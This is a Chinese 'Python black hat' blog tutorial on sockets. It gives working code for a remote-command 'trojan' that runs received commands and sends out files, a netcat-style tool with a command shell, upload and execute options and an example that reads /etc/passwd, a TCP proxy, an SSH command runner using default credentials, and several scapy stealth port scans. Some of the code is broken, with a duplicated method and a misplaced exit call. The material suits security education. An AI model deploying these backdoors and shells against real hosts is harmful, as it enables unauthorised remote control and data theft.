zoukankan      html  css  js  c++  java
  • Python黑帽子:网络与套接字基础

    简单的网络通信

     1.客户端:

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    
    #测试类
    class Client:
        def __init__(self,host):
            self.host=host #待连接的远程主机的域名
        def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
            sys.exit() #退出进程
    
     def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
                sys.exit() #退出进程
            try:
                remote_ip = socket.gethostbyname(self.host)#根据域名获取ip
            except socket.gaierror:
                print('主机无法被解析')
                sys.exit() #退出进程
            try:
                s.connect((remote_ip,80))#连接
                message = b"GET / HTTP/1.1
    
    "
                s.sendall(message)#发送数据
                reply = s.recv(4096)#接收数据
                print(reply)
                s.close()#关闭连接
            except socket.error:
                sys.exit() #退出进程
    
    
    if __name__ == '__main__':
        cl = Client('www.baidu.com')
        cl.connet()

    2.服务端

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    
    class server:
        def __init__(self,ip,port):
            self.port=port
            self.ip=ip
        def start(self):
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket
            try:
                s.bind((self.ip,self.port))#绑定
                s.listen(10)#监听
                print('等待客户端连接')
                conn, addr = s.accept()#接收连接
                print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                data = conn.recv(1024)#接收数据
                print("客户端数据:%s"%data)
                conn.sendall(bytes("你好客户端
    
    ", encoding = "utf8"))#发送数据
                conn.close()#关闭连接
               
            except socket.error as e:
                print(e)
                sys.exit()
            finally:
                 s.close() #关闭服务端
    
    
    if __name__ == '__main__':
        s = server('',8800)
        s.start()

    TCP/客户端与服务端基础

     TCP客户端:

    #coding=utf-8
    import socket
    
    target_host = "www.baidu.com"
    target_port = 80
    
    #建立一个socket对象
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    #连接客户端
    client.connect((target_host,target_port))
    
    #发送一些数据
    client.send("GET / HTTP/1.1
    Host: baidu.com
    
    ")
    
    #接收一些数据
    response = client.recv(4096)
    
    print response

    TCP服务端:  这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

    #!/usr/bin/python
    #coding=utf-8
    import socket
    import threading
    
    bind_ip = "0.0.0.0"
    bind_port = 1234
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    server.bind((bind_ip,bind_port))
    
    server.listen(5)
    
    print '[*] Listening on %s:%d'%(bind_ip,bind_port)
    
    #客户处理线程
    def handle_client(client_socket):
        
        #打印客户端发送得到的消息
        request = client_socket.recv(1024)
    
        print "[*] Received: %s"%request
        
        #返回一个数据包
        client_socket.send("ACK!")
    
        client_socket.close()
    
    while True:
        
        client, addr = server.accept()
    
        print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
        
        #挂起客户端线程,处理传入数据
        client_handler = threading.Thread(target=handle_client,args=(client,))
        client_handler.start()

    TCP 实现一个简单的木马

    TCP客户端代码

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    import re
    import os
    
    class Client:
        def __init__(self,serverIp,serverPort):
            self.serverIp=serverIp #待连接的远程主机的域名
            self.serverPort = serverPort
            self.bufferSize = 10240
    
        def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
                
            try:
                s.connect((self.serverIp,self.serverPort))
                while True:
                    message = input('> ')#接收用户输入
                    if not message:
                        break
                    s.send(bytes(message, 'utf-8'))#发送命令
                    data = s.recv(self.bufferSize)#接收数据
                    if not data:
                        break
                    if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型
                        print(data.decode('utf-8')[4:])
                    else:#文件内容处理
                        s.send("File size received".encode())#通知服务端可以发送文件了
                        file_total_size = int(data.decode())#总大小
                        received_size = 0
                        f = open("new" +os.path.split(message)[-1], "wb")#创建文件
                        while received_size < file_total_size:
                            data = s.recv(self.bufferSize)
                            f.write(data)#写文件
                            received_size += len(data)#累加接收长度
                            print("已接收:", received_size)
                        f.close()#关闭文件
                        print("receive done", file_total_size, " ", received_size)
            except socket.error:
                s.close()
                raise #退出进程
            finally:
                s.close()
    
    
    if __name__ == '__main__':
        cl = Client('127.0.0.1',8800)
        cl.connet()
        sys.exit() #退出进程

    TCP服务端代码

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    import os
    
    
    class server:
        def __init__(self, ip, port):
            self.port = port
            self.ip = ip
            self.bufferSize = 10240
    
        def start(self):  # 启动监听,接收数据
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.bind((self.ip, self.port))  # 绑定
                s.listen(10)  # 监听
                print('等待客户端连接')
                while True:  # 一直等待新的连接
                    try:
                        conn, addr = s.accept()  # 接收连接
                        print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                        while True:  # 不知道客户端发送数据大小,循环接收
                            data = conn.recv(self.bufferSize)
                            if not data:
                                break
                            else:
                                self.executeCommand(conn,data)
                        conn.close()
                    except socket.error as e:
                        print(e)
                        conn.close()  # 关闭连接
            finally:
                s.close()  # 关闭服务端
    
        def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
            try:#
                message = data.decode("utf-8")
                if os.path.isfile(message):#判断是否是文件
                    filesize = str(os.path.getsize(message))#获取文件大小
                    print("文件大小为:",filesize)
                    tcpCliSock.send(filesize.encode())#发送文件大小
                    data = tcpCliSock.recv(self.bufferSize)  
                    print("开始发送")
                    f = open(message, "rb")#打开文件
                    for line in f:
                        tcpCliSock.send(line)#发送文件内容
                else:
                    tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
            except:
                raise
    if __name__ == '__main__':
        s = server('', 8800)
        s.start()

    取代netcat

    #!/usr/bin/python
    #coding=utf-8
    import sys
    import socket
    import getopt
    import threading
    import subprocess
    
    #定义一些全局变量
    listen = False
    command = False
    upload = False
    execute = ""
    target = ""
    upload_destination = ""
    port = 0
    
    #使用帮助
    def usage():
        print "BHP Net Tool"  
        print  
        print "Usage: bhpnet.py -t target_host - p port"  
        print "-l --listen              - listen on [host]:[port] for incoming connections"  
        print "-e --execute=file_to_run -execute the given file upon receiving a connection"  
        print "-c --command             - initialize a commandshell"  
        print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  
        print  
        print  
        print "Examples:"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""  
        print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  
        sys.exit(0) 
    
    def client_sender(buffer):
        client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        try:
            #连接到目标主机
            client.connect((target,port))
    
            if len(buffer):
                client.send(buffer)
    
            while True:
                
                #现在等待数据回传
                recv_len = 1
                response = ""
    
                while recv_len:
                    
                    data = client.recv(4096)
                    recv_len = len(data)
                    response += data
    
                    if recv_len < 4096:
                        break
    
                print response,
    
                #等待更多的输入
                buffer = raw_input("")
                buffer += "
    "
    
                #发送出去
                client.send(buffer)
    
        except:
            print "[*] Exception! Exiting. "
    
            #关闭连接
            client.close()
    
    def server_loop():
        global target
    
        #如果没有定义目标,那么我们监听所有的接口
        if not len(target):
            target = "0.0.0.0"
    
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        server.bind((target,port))
    
        server.listen(5)
    
        while  True:
            client_socket, addr = server.accept()
    
            #分拆一个线程处理新的客户端
            client_thread = threading.Thread(target=client_handler,args=(client_socket,))
            client_thread.start()
    
    def run_command(command):
        
        #换行
        command = command.rstrip()
    
        #运行命令并将输出返回
        try:
            output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
        except:
            output = "Failed to execute command. 
    "
    
        #将输出发送
        return output
    
    def client_handler(client_socket):
        global upload
        global execute
        global command
    
        #检测上传文件
        if len(upload_destination):
            
            #读取所有的字符并写下目标
            file_buffer = ""
    
            #持续读取数据直到没有符合的数据
    
            while True:
                data = client_socket.recv(1024)
    
                if not data:
                    break
                else:
                    file_buffer += data
    
            #现在我们接收这些数据并将他们写出来
            try:
                file_descriptor = open(upload_destination,"wb")
                file_descriptor.write(file_buffer)
                file_descriptor.close()
    
                #确认文件已经写出来
                client_socket.send("Successfully saved file to %s
    "%upload_destination)
            except:
                client_socket.send("Failed to save file to %s
    "%upload_destination)
        #检查命令执行
        if len(execute):
            
            #运行命令
            output = run_command(execute)
    
            client_socket.send(output)
    
        #如果需要一个命令行shell,那么我们进入另一个循环
        if command:
    
            while True:
                
                #跳出一个窗口
                client_socket.send("<BHP:#> ")
    
                #现在我们接收文件直到发现换行符(enter key)
                cmd_buffer = ""
                while "
    " not in cmd_buffer:
                    cmd_buffer += client_socket.recv(1024)
    
                #返还命令输出
                response = run_command(cmd_buffer)
    
                #返回响应数据
                client_socket.send(response)
    
    def main():
        global listen
        global port
        global execute
        global command
        global upload_destination
        global target
    
        if not len(sys.argv[1:]):
            usage()
    
        #读取命令行选项
        try:
            opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
        except getopt.GetoptError as err:
            print str(err)
            usage()
    
        for o,a in opts:
            if o in ("-h","--help"):
                usage()
            elif o in ("-l","--listen"):
                listen = True
            elif o in ("-e","--execute"):
                execute = a
            elif o in ("-c","--commandshell"):
                command = True
            elif o in ("-u","--upload"):
                upload_destination = a
            elif o in ("-t","--target"):
                target = a
            elif o in ("-p","--port"):
                port = int(a)
            else:
                assert False,"Unhandled Option"
    
        #我们是进行监听还是仅从标准输入发送数据?
        if not listen and len(target) and port > 0 :
    
            #从命令行读取内存数据
            #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
            buffer = sys.stdin.read()
    
            #发送数据
            client_sender(buffer)
    
        #我们开始监听并准备上传文件、执行命令
        #放置一个反弹shell
        #取决于上面的命令行选项
        if listen:
            server_loop()
    
    main()

    创建一个TCP代理

        #!/usr/bin/python  
        #coding=utf-8
        import socket  
        import sys  
        import threading  
          
        def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  
              
            server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
          
            try:  
                server.bind((local_host,local_port))  
            except:  
                print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  
                print "[!!] Check for other listening sockets or correct permissions. "  
                sys.exit(0)  
          
            print "[*] Listening on %s:%d"%(local_host,local_port)  
          
            server.listen(5)  
          
            while True:  
                client_socket, addr = server.accept()  
          
                #  打印出本地连接信息
                print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  
          
                #  开启一个线程与远程主机通信
                proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  
          
                proxy_thread.start()  
          
        def proxy_handler(client_socket,remote_host,remote_port,receive_first):  
              
            #  连接远程主机
            remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
            remote_socket.connect((remote_host,remote_port))  
          
            #  如果必要从远程主机接收数据
            if receive_first:  
          
                remote_buffer = receive_from(remote_socket)  
                hexdump(remote_buffer)  
          
                #  发送给我们的响应数据
                remote_buffer = response_handler(remote_buffer)  
          
                #  如果我们有数据传递给本地客户端,发送它
                if len(remote_buffer):  
                    print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  
                    client_socket.send(remote_buffer)  
          
            #  现在我们从本地循环读取数据,发送给远程主机和本地主机
            while True:  
                  
                #  从本地读取主机
                local_buffer = receive_from(client_socket)  
          
                if len(local_buffer):  
                      
                    print "[==>] Received %d bytes from localhost. "%len(local_buffer)  
                    hexdump(local_buffer)  
          
                    #  发送给我们的本地请求
                    local_buffer = request_handler(local_buffer)  
          
                    #  向远程主机发送数据
                    remote_socket.send(local_buffer)  
                    print "[==>] Sent to remote ."  
          
                #  接受响应的数据
                remote_buffer = receive_from(remote_socket)  
          
                if len(remote_buffer):  
                      
                    print "[<==] Received %d bytes from remote . "%len(remote_buffer)  
                    hexdump(remote_buffer)  
          
                    #  发送到响应处理函数
                    remote_buffer = response_handler(remote_buffer)  
          
                    #  将响应发送给本地socket
                    client_socket.send(remote_buffer)  
          
                    print "[<==] Sent to localhost. "  
          
                #  如果两边都没有数据,关闭连接
                if not len(local_buffer) or not len(remote_buffer):  
                    client_socket.close()  
                    remote_socket.close()  
                    print "[*] No more data. Closing cnnections. "  
          
                    break  
          
        #  十六进制导出函数
        def hexdump(src,length=16):  
            result = []  
            digits = 4 if isinstance(src,unicode) else 2  
          
            for i in xrange(0,len(src),length):  
                s = src[i:i+length]  
                hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  
                text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  
                result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  
          
            print b'
    '.join(result)  
          
        def receive_from(connection):  
              
            buffer = ""  
          
            #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
            connection.settimeout(2)  
          
            try:  
                #  持续从缓存中读取数据直到没有数据或超时
                while True:  
                    data = connection.recv(4096)  
                    if not data:  
                        break  
                    buffer += data  
            except:  
                pass  
          
            return buffer  
          
        #  对目标是远程主机的请求进行修改
        def request_handler(buffer):  
            #  执行包修改
            return buffer  
          
        #  对目标是本地主机的响应进行修改
        def response_handler(buffer):  
            #  执行包修改
            return buffer  
          
        def main():  
              
            #  没有华丽的命令行解析
            if len(sys.argv[1:]) != 5:  
                print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  
                print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  
                sys.exit(0)  
          
            #  设置本地监听参数
            local_host = sys.argv[1]  
            local_port = int(sys.argv[2])  
          
            #  设置远程目标
            remote_host = sys.argv[3]  
            remote_port = int(sys.argv[4])  
          
            #  告诉代理在发送给远程主机之前连接和接收数据
            receive_first = sys.argv[5]  
          
            if "True" in receive_first:  
                receive_first = True  
            else:  
                receive_first = False  
          
            #  现在设置好我们的监听socket
            server_loop(local_host,local_port,remote_host,remote_port,receive_first)  
          
        main()  

    通过Paramiko使用SSH

    #!/usr/bin/python
    import paramiko
    import threading
    import subprocess
    
    def ssh_command(ip,user,passwd,command):
            client = paramiko.SSHClient()
            #client.load_host_keys('/home/justin/.ssh/known_hosts') 
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(ip,username=user,password=passwd)
            ssh_session = client.get_transport().open_session()
            if ssh_session.active:
                    ssh_session.exec_command(command)  
                    print ssh_session.recv(1024)
            return
    
    ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a') 

    其他扫描方式收藏

    import argparse
    from scapy.all import *
    
    #答疑端口状态
    def print_ports(port, state):
        print("%s | %s" % (port, state))
    
    def tcpScan(target,ports):
        print("tcp全连接扫描 %s with ports %s" % (target, ports))
        for port in ports:
            send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
            if (send is None):
                print_ports(port,"closed")
            elif send.haslayer("TCP"):
                print(send["TCP"].flags)
                if send["TCP"].flags == "SA":
                    send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                    print_ports(port,"opend")
                elif send["TCP"].flags == "RA":
                    print_ports(port,"closed")
    
        
    def synScan(target,ports):
        print("tcp SYN扫描 %s with ports %s" % (target, ports))
        for port in ports:
            send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
            if (send is None):
                print_ports(port,"closed")
            elif send.haslayer("TCP"):
                print(send["TCP"].flags)
                if send["TCP"].flags == "SA":
                    send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里
                    print_ports(port,"opend")
                elif send["TCP"].flags == "RA":
                    print_ports(port,"closed")
        
    def ackScan(target,ports):
        print("tcp ack扫描 %s with ports %s" % (target, ports))
        for port in ports:
            ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
            print(str(type(ack_flag_scan_resp)))
            if (str(type(ack_flag_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"filtered")
            elif(ack_flag_scan_resp.haslayer(TCP)):
                if(ack_flag_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port,"unfiltered")
            elif(ack_flag_scan_resp.haslayer(ICMP)):
                if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port,"filtered")
            else:
                print_ports(port,"filtered")  
    
    
    def windowScan(target,ports):
        print("tcp window扫描 %s with ports %s" % (target, ports))
        for port in ports:
            window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
            print(str(type(window_scan_resp)))
            if (str(type(window_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"close")
            elif(window_scan_resp.haslayer(TCP)):
                if(window_scan_resp.getlayer(TCP).window == 0):
                    print_ports(port,"close")
                elif(window_scan_resp.getlayer(TCP).window > 0):
                    print_ports(port,"open")
            else:
                print_ports(port,"close") 
    
    def nullScan(target,ports):
        print("tcp NULL 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5)
            if (str(type(null_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"Open|Filtered") 
            elif(null_scan_resp.haslayer(TCP)):
                if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"):
                    print_ports( port,"Closed")
            elif(null_scan_resp.haslayer(ICMP)):
                if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
     
    def finScan(target,ports):
        print("tcp FIN 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5)
            if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(fin_scan_resp.haslayer(TCP)):
                if(fin_scan_resp.getlayer(TCP).flags == 0x14):
                    print_ports(port, "Closed")
            elif(fin_scan_resp.haslayer(ICMP)):
                if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
    
    def xmaxScan(target,ports):
        print("tcp xmax 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5)
            if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(fin_scan_resp.haslayer(TCP)):
                if(fin_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port, "Closed")
            elif(fin_scan_resp.haslayer(ICMP)):
                if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
    def udpScan(target,ports):
        print("UDP 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5)
            if (str(type(udp_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(udp_scan_resp.haslayer(UDP)):
                if(udp_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port, "Open")
            elif(udp_scan_resp.haslayer(ICMP)):
                if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
  • 相关阅读:
    WP8_给图片、按钮设置自定义图片
    WP8_读写XML
    JAVA编程思想读书笔记(五)--多线程
    《大话设计模式》--模板模式
    《大话设计模式》--原型模式
    《大话设计模式》--工厂方法模式
    《大话设计模式》--代理模式
    JAVA编程思想读书笔记(四)--对象的克隆
    《大话设计模式》--装饰者模式
    JAVA编程思想读书笔记(三)--RTTI
  • 原文地址:https://www.cnblogs.com/LyShark/p/9101902.html
Copyright © 2011-2022 走看看